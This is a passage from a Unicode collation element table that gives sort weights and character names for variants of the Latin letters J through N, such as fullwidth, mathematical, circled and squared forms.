LETTER J WITH STROKE +029D ; [.1CD4.0020.0002] # LATIN SMALL LETTER J WITH CROSSED-TAIL +A7B2 ; [.1CD4.0020.0008] # LATIN CAPITAL LETTER J WITH CROSSED-TAIL +1DA8 ; [.1CD4.0020.0014] # MODIFIER LETTER SMALL J WITH CROSSED-TAIL +025F ; [.1CD8.0020.0002] # LATIN SMALL LETTER DOTLESS J WITH STROKE +1DA1 ; [.1CD8.0020.0014] # MODIFIER LETTER SMALL DOTLESS J WITH STROKE +0284 ; [.1CDC.0020.0002] # LATIN SMALL LETTER DOTLESS J WITH STROKE AND HOOK +006B ; [.1CE0.0020.0002] # LATIN SMALL LETTER K +FF4B ; [.1CE0.0020.0003] # FULLWIDTH LATIN SMALL LETTER K +1DDC ; [.1CE0.0020.0004] # COMBINING LATIN SMALL LETTER K +24A6 ; [*0310.0020.0004][.1CE0.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER K +1D424 ; [.1CE0.0020.0005] # MATHEMATICAL BOLD SMALL K +1D458 ; [.1CE0.0020.0005] # MATHEMATICAL ITALIC SMALL K +1D48C ; [.1CE0.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL K +1D4C0 ; [.1CE0.0020.0005] # MATHEMATICAL SCRIPT SMALL K +1D4F4 ; [.1CE0.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL K +1D528 ; [.1CE0.0020.0005] # MATHEMATICAL FRAKTUR SMALL K +1D55C ; [.1CE0.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL K +1D590 ; [.1CE0.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL K +1D5C4 ; [.1CE0.0020.0005] # MATHEMATICAL SANS-SERIF SMALL K +1D5F8 ; [.1CE0.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL K +1D62C ; [.1CE0.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL K +1D660 ; [.1CE0.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL K +1D694 ; [.1CE0.0020.0005] # MATHEMATICAL MONOSPACE SMALL K +24DA ; [.1CE0.0020.0006] # CIRCLED LATIN SMALL LETTER K +004B ; [.1CE0.0020.0008] # LATIN CAPITAL LETTER K +212A ; [.1CE0.0020.0008] # KELVIN SIGN +FF2B ; [.1CE0.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER K +1F11A ; [*0310.0020.0004][.1CE0.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER K +1D40A ; [.1CE0.0020.000B] # MATHEMATICAL BOLD CAPITAL K +1D43E ; [.1CE0.0020.000B] # MATHEMATICAL ITALIC CAPITAL K +1D472 ; [.1CE0.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL K +1D4A6 ; [.1CE0.0020.000B] # MATHEMATICAL SCRIPT CAPITAL K +1D4DA ; [.1CE0.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL K +1D50E ; [.1CE0.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL K +1D542 ; [.1CE0.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL K +1D576 ; [.1CE0.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL K +1D5AA ; [.1CE0.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL K +1D5DE ; [.1CE0.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL K +1D612 ; [.1CE0.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL K +1D646 ; [.1CE0.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL K +1D67A ; [.1CE0.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL K +24C0 ; [.1CE0.0020.000C] # CIRCLED LATIN CAPITAL LETTER K +1F15A ; [.1CE0.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER K +1D4F ; [.1CE0.0020.0014] # MODIFIER LETTER SMALL K +2096 ; [.1CE0.0020.0015] # LATIN SUBSCRIPT SMALL LETTER K +1D37 ; [.1CE0.0020.001D] # MODIFIER LETTER CAPITAL K +1F13A ; [.1CE0.0020.001D] # SQUARED LATIN CAPITAL LETTER K +1F17A ; [.1CE0.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER K +1E31 ; [.1CE0.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER K WITH ACUTE +1E30 ; [.1CE0.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER K WITH ACUTE +01E9 ; [.1CE0.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER K WITH CARON +01E8 ; [.1CE0.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER K WITH CARON +0137 ; [.1CE0.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER K WITH CEDILLA +0136 ; [.1CE0.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER K WITH CEDILLA +A7A3 ; [.1CE0.0020.0004][.0000.0035.0004] # LATIN SMALL LETTER K WITH OBLIQUE STROKE +A7A2 ; [.1CE0.0020.000A][.0000.0035.0004] # LATIN CAPITAL LETTER K WITH OBLIQUE STROKE +1E33 ; [.1CE0.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER K WITH DOT BELOW +1E32 ; [.1CE0.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER K WITH DOT BELOW +1E35 ; [.1CE0.0020.0002][.0000.0049.0002] # LATIN SMALL LETTER K WITH LINE BELOW +1E34 ; [.1CE0.0020.0008][.0000.0049.0002] # LATIN CAPITAL LETTER K WITH LINE BELOW +3384 ; [.1CE0.0020.001C][.1BC2.0020.001D] # SQUARE KA +3385 ; [.1CE0.0020.001D][.1BDB.0020.001D] # SQUARE KB +3389 ; [.1CE0.0020.001C][.1BF5.0020.001C][.1BC2.0020.001C][.1CF2.0020.001C] # SQUARE KCAL +338F ; [.1CE0.0020.001C][.1C6F.0020.001C] # SQUARE KG +3391 ; [.1CE0.0020.001C][.1C93.0020.001D][.1E9C.0020.001C] # SQUARE KHZ +33CD ; [.1CE0.0020.001D][.1CE0.0020.001D] # SQUARE KK +3398 ; [.1CE0.0020.001C][.1CF2.0020.001C] # SQUARE KL +339E ; [.1CE0.0020.001C][.1D25.0020.001C] # SQUARE KM +33CE ; [.1CE0.0020.001D][.1D25.0020.001D] # SQUARE KM CAPITAL +33A2 ; [.1CE0.0020.001C][.1D25.0020.001C][.1BBA.0020.001C] # SQUARE KM SQUARED +33A6 ; [.1CE0.0020.001C][.1D25.0020.001C][.1BBB.0020.001C] # SQUARE KM CUBED +33AA ; [.1CE0.0020.001C][.1D87.0020.001D][.1BC2.0020.001C] # SQUARE KPA +33CF ; [.1CE0.0020.001C][.1E10.0020.001C] # SQUARE KT +33B8 ; [.1CE0.0020.001C][.1E5E.0020.001D] # SQUARE KV +33BE ; [.1CE0.0020.001C][.1E70.0020.001D] # SQUARE KW +33C0 ; [.1CE0.0020.001C][.1F5C.0020.001D] # SQUARE K OHM +1D0B ; [.1CE4.0020.0002] # LATIN LETTER SMALL CAPITAL K +1D84 ; [.1CE5.0020.0002] # LATIN SMALL LETTER K WITH PALATAL HOOK +0199 ; [.1CE6.0020.0002] # LATIN SMALL LETTER K WITH HOOK +0198 ; [.1CE6.0020.0008] # LATIN CAPITAL LETTER K WITH HOOK +2C6A ; [.1CEA.0020.0002] # LATIN SMALL LETTER K WITH DESCENDER +2C69 ; [.1CEA.0020.0008] # LATIN CAPITAL LETTER K WITH DESCENDER +A741 ; [.1CEB.0020.0002] # LATIN SMALL LETTER K WITH STROKE +A740 ; [.1CEB.0020.0008] # LATIN CAPITAL LETTER K WITH STROKE +A743 ; [.1CEC.0020.0002] # LATIN SMALL LETTER K WITH DIAGONAL STROKE +A742 ; [.1CEC.0020.0008] # LATIN CAPITAL LETTER K WITH DIAGONAL STROKE +A745 ; [.1CED.0020.0002] # LATIN SMALL LETTER K WITH STROKE AND DIAGONAL STROKE +A744 ; [.1CED.0020.0008] # LATIN CAPITAL LETTER K WITH STROKE AND DIAGONAL STROKE +029E ; [.1CEE.0020.0002] # LATIN SMALL LETTER TURNED K +A7B0 ; [.1CEE.0020.0008] # LATIN CAPITAL LETTER TURNED K +006C ; [.1CF2.0020.0002] # LATIN SMALL LETTER L +FF4C ; [.1CF2.0020.0003] # FULLWIDTH LATIN SMALL LETTER L +1DDD ; [.1CF2.0020.0004] # COMBINING LATIN SMALL LETTER L +217C ; [.1CF2.0020.0004] # SMALL ROMAN NUMERAL FIFTY +24A7 ; [*0310.0020.0004][.1CF2.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER L +2113 ; [.1CF2.0020.0005] # SCRIPT SMALL L +1D425 ; [.1CF2.0020.0005] # MATHEMATICAL BOLD SMALL L +1D459 ; [.1CF2.0020.0005] # MATHEMATICAL ITALIC SMALL L +1D48D ; [.1CF2.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL L +1D4C1 ; [.1CF2.0020.0005] # MATHEMATICAL SCRIPT SMALL L +1D4F5 ; [.1CF2.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL L +1D529 ; [.1CF2.0020.0005] # MATHEMATICAL FRAKTUR SMALL L +1D55D ; [.1CF2.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL L +1D591 ; [.1CF2.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL L +1D5C5 ; [.1CF2.0020.0005] # MATHEMATICAL SANS-SERIF SMALL L +1D5F9 ; [.1CF2.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL L +1D62D ; [.1CF2.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL L +1D661 ; [.1CF2.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL L +1D695 ; [.1CF2.0020.0005] # MATHEMATICAL MONOSPACE SMALL L +24DB ; [.1CF2.0020.0006] # CIRCLED LATIN SMALL LETTER L +004C ; [.1CF2.0020.0008] # LATIN CAPITAL LETTER L +FF2C ; [.1CF2.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER L +216C ; [.1CF2.0020.000A] # ROMAN NUMERAL FIFTY +1F11B ; [*0310.0020.0004][.1CF2.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER L +2112 ; [.1CF2.0020.000B] # SCRIPT CAPITAL L +1D40B ; [.1CF2.0020.000B] # MATHEMATICAL BOLD CAPITAL L +1D43F ; [.1CF2.0020.000B] # MATHEMATICAL ITALIC CAPITAL L +1D473 ; [.1CF2.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL L +1D4DB ; [.1CF2.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL L +1D50F ; [.1CF2.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL L +1D543 ; [.1CF2.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL L +1D577 ; [.1CF2.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL L +1D5AB ; [.1CF2.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL L +1D5DF ; [.1CF2.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL L +1D613 ; [.1CF2.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL L +1D647 ; [.1CF2.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL L +1D67B ; [.1CF2.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL L +24C1 ; [.1CF2.0020.000C] # CIRCLED LATIN CAPITAL LETTER L +1F15B ; [.1CF2.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER L +02E1 ; [.1CF2.0020.0014] # MODIFIER LETTER SMALL L +2097 ; [.1CF2.0020.0015] # LATIN SUBSCRIPT SMALL LETTER L +1D38 ; [.1CF2.0020.001D] # MODIFIER LETTER CAPITAL L +1F13B ; [.1CF2.0020.001D] # SQUARED LATIN CAPITAL LETTER L +1F17B ; [.1CF2.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER L +013A ; [.1CF2.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER L WITH ACUTE +0139 ; [.1CF2.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER L WITH ACUTE +013E ; [.1CF2.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER L WITH CARON +013D ; [.1CF2.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER L WITH CARON +013C ; [.1CF2.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER L WITH CEDILLA +013B ; [.1CF2.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER L WITH CEDILLA +0142 ; [.1CF2.0020.0002][.0000.0039.0002] # LATIN SMALL LETTER L WITH STROKE +0141 ; [.1CF2.0020.0008][.0000.0039.0002] # LATIN CAPITAL LETTER L WITH STROKE +1E37 ; [.1CF2.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER L WITH DOT BELOW +1E36 ; [.1CF2.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER L WITH DOT BELOW +1E39 ; [.1CF2.0020.0002][.0000.0042.0002][.0000.0032.0002] # LATIN SMALL LETTER L WITH DOT BELOW AND MACRON +1E38 ; [.1CF2.0020.0008][.0000.0042.0002][.0000.0032.0002] # LATIN CAPITAL LETTER L WITH DOT BELOW AND MACRON +1E3D ; [.1CF2.0020.0002][.0000.0046.0002] # LATIN SMALL LETTER L WITH CIRCUMFLEX BELOW +1E3C ; [.1CF2.0020.0008][.0000.0046.0002] # LATIN CAPITAL LETTER L WITH CIRCUMFLEX BELOW +1E3B ; [.1CF2.0020.0002][.0000.0049.0002] # LATIN SMALL LETTER L WITH LINE BELOW +1E3A ; [.1CF2.0020.0008][.0000.0049.0002] # LATIN CAPITAL LETTER L WITH LINE BELOW +0140 ; [.1CF2.0020.0002][.0000.010B.0002] # LATIN SMALL LETTER L WITH MIDDLE DOT +006C 00B7 ; [.1CF2.0020.0002][.0000.010B.0002] # LATIN SMALL LETTER L WITH MIDDLE DOT +006C 0387 ; [.1CF2.0020.0002][.0000.010B.0002] # LATIN SMALL LETTER L WITH MIDDLE DOT +013F ; [.1CF2.0020.0008][.0000.010B.0002] # LATIN CAPITAL LETTER L WITH MIDDLE DOT +004C 00B7 ; [.1CF2.0020.0008][.0000.010B.0002] # LATIN CAPITAL LETTER L WITH MIDDLE DOT +004C 0387 ; [.1CF2.0020.0008][.0000.010B.0002] # LATIN CAPITAL LETTER L WITH MIDDLE DOT +01C9 ; [.1CF2.0020.0004][.1CC7.0020.0004] # LATIN SMALL LETTER LJ +01C8 ; [.1CF2.0020.000A][.1CC7.0020.0004] # LATIN CAPITAL LETTER L WITH SMALL LETTER J +01C7 ; [.1CF2.0020.000A][.1CC7.0020.000A] # LATIN CAPITAL LETTER LJ +1EFB ; [.1CF2.0020.0004][.1CF2.0020.0004] # LATIN SMALL LETTER MIDDLE-WELSH LL +1EFA ; [.1CF2.0020.000A][.1CF2.0020.000A] # LATIN CAPITAL LETTER MIDDLE-WELSH LL +33D0 ; [.1CF2.0020.001C][.1D25.0020.001C] # SQUARE LM +33D1 ; [.1CF2.0020.001C][.1D34.0020.001C] # SQUARE LN +33D2 ; [.1CF2.0020.001C][.1D58.0020.001C][.1C6F.0020.001C] # SQUARE LOG +02AA ; [.1CF2.0020.0004][.1DEC.0020.0004] # LATIN SMALL LETTER LS DIGRAPH +32CF ; [.1CF2.0020.001D][.1E10.0020.001D][.1C0A.0020.001D] # LIMITED LIABILITY SIGN +33D3 ; [.1CF2.0020.001C][.1E7A.0020.001C] # SQUARE LX +02AB ; [.1CF2.0020.0004][.1E9C.0020.0004] # LATIN SMALL LETTER LZ DIGRAPH +029F ; [.1CF6.0020.0002] # LATIN LETTER SMALL CAPITAL L +1DDE ; [.1CF6.0020.0004] # COMBINING LATIN LETTER SMALL CAPITAL L +1DAB ; [.1CF6.0020.0014] # MODIFIER LETTER SMALL CAPITAL L +A747 ; [.1CFA.0020.0002] # LATIN SMALL LETTER BROKEN L +A746 ; [.1CFA.0020.0008] # LATIN CAPITAL LETTER BROKEN L +1D0C ; [.1CFB.0020.0002] # LATIN LETTER SMALL CAPITAL L WITH STROKE +A749 ; [.1CFC.0020.0002] # LATIN SMALL LETTER L WITH HIGH STROKE +A748 ; [.1CFC.0020.0008] # LATIN CAPITAL LETTER L WITH HIGH STROKE +019A ; [.1CFD.0020.0002] # LATIN SMALL LETTER L WITH BAR +023D ; [.1CFD.0020.0008] # LATIN CAPITAL LETTER L WITH BAR +2C61 ; [.1D01.0020.0002] # LATIN SMALL LETTER L WITH DOUBLE BAR +2C60 ; [.1D01.0020.0008] # LATIN CAPITAL LETTER L WITH DOUBLE BAR +026B ; [.1D02.0020.0002] # LATIN SMALL LETTER L WITH MIDDLE TILDE +2C62 ; [.1D02.0020.0008] # LATIN CAPITAL LETTER L WITH MIDDLE TILDE +AB5E ; [.1D02.0020.0014] # MODIFIER LETTER SMALL L WITH MIDDLE TILDE +AB38 ; [.1D06.0020.0002] # LATIN SMALL LETTER L WITH DOUBLE MIDDLE TILDE +1DEC ; [.1D06.0020.0004] # COMBINING LATIN SMALL LETTER L WITH DOUBLE MIDDLE TILDE +AB39 ; [.1D07.0020.0002] # LATIN SMALL LETTER L WITH MIDDLE RING +026C ; [.1D08.0020.0002] # LATIN SMALL LETTER L WITH BELT +A7AD ; [.1D08.0020.0008] # LATIN CAPITAL LETTER L WITH BELT +AB37 ; [.1D0C.0020.0002] # LATIN SMALL LETTER L WITH INVERTED LAZY S +AB5D ; [.1D0C.0020.0014] # MODIFIER LETTER SMALL L WITH INVERTED LAZY S +1D85 ; [.1D0D.0020.0002] # LATIN SMALL LETTER L WITH PALATAL HOOK +1DAA ; [.1D0D.0020.0014] # MODIFIER LETTER SMALL L WITH PALATAL HOOK +026D ; [.1D0E.0020.0002] # LATIN SMALL LETTER L WITH RETROFLEX HOOK +1DA9 ; [.1D0E.0020.0014] # MODIFIER LETTER SMALL L WITH RETROFLEX HOOK +A78E ; [.1D12.0020.0002] # LATIN SMALL LETTER L WITH RETROFLEX HOOK AND BELT +0234 ; [.1D13.0020.0002] # LATIN SMALL LETTER L WITH CURL +A772 ; [.1D17.0020.0002] # LATIN SMALL LETTER LUM +026E ; [.1D18.0020.0002] # LATIN SMALL LETTER LEZH +A781 ; [.1D1C.0020.0002] # LATIN SMALL LETTER TURNED L +A780 ; [.1D1C.0020.0008] # LATIN CAPITAL LETTER TURNED L +019B ; [.1D1D.0020.0002] # LATIN SMALL LETTER LAMBDA WITH STROKE +028E ; [.1D21.0020.0002] # LATIN SMALL LETTER TURNED Y +006D ; [.1D25.0020.0002] # LATIN SMALL LETTER M +FF4D ; [.1D25.0020.0003] # FULLWIDTH LATIN SMALL LETTER M +036B ; [.1D25.0020.0004] # COMBINING LATIN SMALL LETTER M +217F ; [.1D25.0020.0004] # SMALL ROMAN NUMERAL ONE THOUSAND +24A8 ; [*0310.0020.0004][.1D25.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER M +1D426 ; [.1D25.0020.0005] # MATHEMATICAL BOLD SMALL M +1D45A ; [.1D25.0020.0005] # MATHEMATICAL ITALIC SMALL M +1D48E ; [.1D25.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL M +1D4C2 ; [.1D25.0020.0005] # MATHEMATICAL SCRIPT SMALL M +1D4F6 ; [.1D25.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL M +1D52A ; [.1D25.0020.0005] # MATHEMATICAL FRAKTUR SMALL M +1D55E ; [.1D25.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL M +1D592 ; [.1D25.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL M +1D5C6 ; [.1D25.0020.0005] # MATHEMATICAL SANS-SERIF SMALL M +1D5FA ; [.1D25.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL M +1D62E ; [.1D25.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL M +1D662 ; [.1D25.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL M +1D696 ; [.1D25.0020.0005] # MATHEMATICAL MONOSPACE SMALL M +24DC ; [.1D25.0020.0006] # CIRCLED LATIN SMALL LETTER M +004D ; [.1D25.0020.0008] # LATIN CAPITAL LETTER M +FF2D ; [.1D25.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER M +216F ; [.1D25.0020.000A] # ROMAN NUMERAL ONE THOUSAND +1F11C ; [*0310.0020.0004][.1D25.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER M +2133 ; [.1D25.0020.000B] # SCRIPT CAPITAL M +1D40C ; [.1D25.0020.000B] # MATHEMATICAL BOLD CAPITAL M +1D440 ; [.1D25.0020.000B] # MATHEMATICAL ITALIC CAPITAL M +1D474 ; [.1D25.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL M +1D4DC ; [.1D25.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL M +1D510 ; [.1D25.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL M +1D544 ; [.1D25.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL M +1D578 ; [.1D25.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL M +1D5AC ; [.1D25.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL M +1D5E0 ; [.1D25.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL M +1D614 ; [.1D25.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL M +1D648 ; [.1D25.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL M +1D67C ; [.1D25.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL M +24C2 ; [.1D25.0020.000C] # CIRCLED LATIN CAPITAL LETTER M +1F15C ; [.1D25.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER M +1D50 ; [.1D25.0020.0014] # MODIFIER LETTER SMALL M +2098 ; [.1D25.0020.0015] # LATIN SUBSCRIPT SMALL LETTER M +1D39 ; [.1D25.0020.001D] # MODIFIER LETTER CAPITAL M +1F13C ; [.1D25.0020.001D] # SQUARED LATIN CAPITAL LETTER M +1F17C ; [.1D25.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER M +1E3F ; [.1D25.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER M WITH ACUTE +1E3E ; [.1D25.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER M WITH ACUTE +1E41 ; [.1D25.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER M WITH DOT ABOVE +1E40 ; [.1D25.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER M WITH DOT ABOVE +1E43 ; [.1D25.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER M WITH DOT BELOW +1E42 ; [.1D25.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER M WITH DOT BELOW +33A1 ; [.1D25.0020.001C][.1BBA.0020.001C] # SQUARE M SQUARED +33A5 ; [.1D25.0020.001C][.1BBB.0020.001C] # SQUARE M CUBED +3383 ; [.1D25.0020.001C][.1BC2.0020.001D] # SQUARE MA +33D4 ; [.1D25.0020.001C][.1BDB.0020.001C] # SQUARE MB SMALL +3386 ; [.1D25.0020.001D][.1BDB.0020.001D] # SQUARE MB +1F16A ; [.1D25.0020.0014][.1BF5.0020.0014] # RAISED MC SIGN +1F16B ; [.1D25.0020.0014][.1C0A.0020.0014] # RAISED MD SIGN +338E ; [.1D25.0020.001C][.1C6F.0020.001C] # SQUARE MG +3392 ; [.1D25.0020.001D][.1C93.0020.001D][.1E9C.0020.001C] # SQUARE MHZ +33D5 ; [.1D25.0020.001C][.1CAD.0020.001C][.1CF2.0020.001C] # SQUARE MIL +3396 ; [.1D25.0020.001C][.1CF2.0020.001C] # SQUARE ML +339C ; [.1D25.0020.001C][.1D25.0020.001C] # SQUARE MM +339F ; [.1D25.0020.001C][.1D25.0020.001C][.1BBA.0020.001C] # SQUARE MM SQUARED +33A3 ; [.1D25.0020.001C][.1D25.0020.001C][.1BBB.0020.001C] # SQUARE MM CUBED +33D6 ; [.1D25.0020.001C][.1D58.0020.001C][.1CF2.0020.001C] # SQUARE MOL +33AB ; [.1D25.0020.001D][.1D87.0020.001D][.1BC2.0020.001C] # SQUARE MPA +33A7 ; [.1D25.0020.001C][*0605.0020.001C][.1DEC.0020.001C] # SQUARE M OVER S +33B3 ; [.1D25.0020.001C][.1DEC.0020.001C] # SQUARE MS +33A8 ; [.1D25.0020.001C][*0605.0020.001C][.1DEC.0020.001C][.1BBA.0020.001C] # SQUARE M OVER S SQUARED +33B7 ; [.1D25.0020.001C][.1E5E.0020.001D] # SQUARE MV +33B9 ; [.1D25.0020.001D][.1E5E.0020.001D] # SQUARE MV MEGA +1F14B ; [.1D25.0020.001D][.1E5E.0020.001D] # SQUARED MV +33BD ; [.1D25.0020.001C][.1E70.0020.001D] # SQUARE MW +33BF ; [.1D25.0020.001D][.1E70.0020.001D] # SQUARE MW MEGA +33C1 ; [.1D25.0020.001D][.1F5C.0020.001D] # SQUARE M OHM +1D0D ; [.1D29.0020.0002] # LATIN LETTER SMALL CAPITAL M +1DDF ; [.1D29.0020.0004] # COMBINING LATIN LETTER SMALL CAPITAL M +1D6F ; [.1D2A.0020.0002] # LATIN SMALL LETTER M WITH MIDDLE TILDE +1D86 ; [.1D2B.0020.0002] # LATIN SMALL LETTER M WITH PALATAL HOOK +0271 ; [.1D2C.0020.0002] # LATIN SMALL LETTER M WITH HOOK +2C6E ; [.1D2C.0020.0008] # LATIN CAPITAL LETTER M WITH HOOK +1DAC ; [.1D2C.0020.0014] # MODIFIER LETTER SMALL M WITH HOOK +AB3A ; [.1D30.0020.0002] # LATIN SMALL LETTER M WITH CROSSED-TAIL +A7FD ; [.1D31.0020.0002] # LATIN EPIGRAPHIC LETTER INVERTED M +A7FF ; [.1D32.0020.0002] # LATIN EPIGRAPHIC LETTER ARCHAIC M +A773 ; [.1D33.0020.0002] # LATIN SMALL LETTER MUM +006E ; [.1D34.0020.0002] # LATIN SMALL LETTER N +FF4E ; [.1D34.0020.0003] # FULLWIDTH LATIN SMALL LETTER N +1DE0 ; [.1D34.0020.0004] # COMBINING LATIN SMALL LETTER N +24A9 ; [*0310.0020.0004][.1D34.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER N +1D427 ; [.1D34.0020.0005] # MATHEMATICAL BOLD SMALL N +1D45B ; [.1D34.0020.0005] # MATHEMATICAL ITALIC SMALL N +1D48F ; [.1D34.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL N +1D4C3 ; [.1D34.0020.0005] # MATHEMATICAL SCRIPT SMALL N +1D4F7 ; [.1D34.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL N +1D52B ; [.1D34.0020.0005] # MATHEMATICAL FRAKTUR SMALL N +1D55F ; [.1D34.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL N +1D593 ; [.1D34.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL N +1D5C7 ; [.1D34.0020.0005] # MATHEMATICAL SANS-SERIF SMALL N +1D5FB ; [.1D34.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL N +1D62F ; [.1D34.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL N +1D663 ; [.1D34.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL N +1D697 ; [.1D34.0020.0005] # MATHEMATICAL MONOSPACE SMALL N +24DD ; [.1D34.0020.0006] # CIRCLED LATIN SMALL LETTER N +004E ; [.1D34.0020.0008] # LATIN CAPITAL LETTER N +FF2E ; [.1D34.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER N +1F11D ; [*0310.0020.0004][.1D34.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER N +2115 ; [.1D34.0020.000B] # DOUBLE-STRUCK CAPITAL N +1D40D ; [.1D34.0020.000B] # MATHEMATICAL BOLD CAPITAL N +1D441 ; [.1D34.0020.000B] # MATHEMATICAL ITALIC CAPITAL N +1D475 ; [.1D34.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL N +1D4A9 ; [.1D34.0020.000B] # MATHEMATICAL SCRIPT CAPITAL N +1D4DD ; [.1D34.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL N +1D511 ; [.1D34.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL N +1D579 ; [.1D34.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL N +1D5AD ; [.1D34.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL N +1D5E1 ; [.1D34.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL N +1D615 ; [.1D34.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL N +1D649 ; [.1D34.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL N +1D67D ; [.1D34.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL N +24C3 ; [.1D34.0020.000C] # CIRCLED LATIN CAPITAL LETTER N +1F15D ; [.1D34.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER N +207F ; [.1D34.0020.0014] # SUPERSCRIPT LATIN SMALL LETTER N +2099 ; [.1D34.0020.0015] # LATIN SUBSCRIPT SMALL LETTER N +1D3A ; [.1D34.0020.001D] # MODIFIER LETTER CAPITAL N +1F13D ; [.1D34.0020.001D] # SQUARED LATIN CAPITAL LETTER N +1F17D ; [.1D34.0020.001D] # NEGATIVE SQUARED LATIN 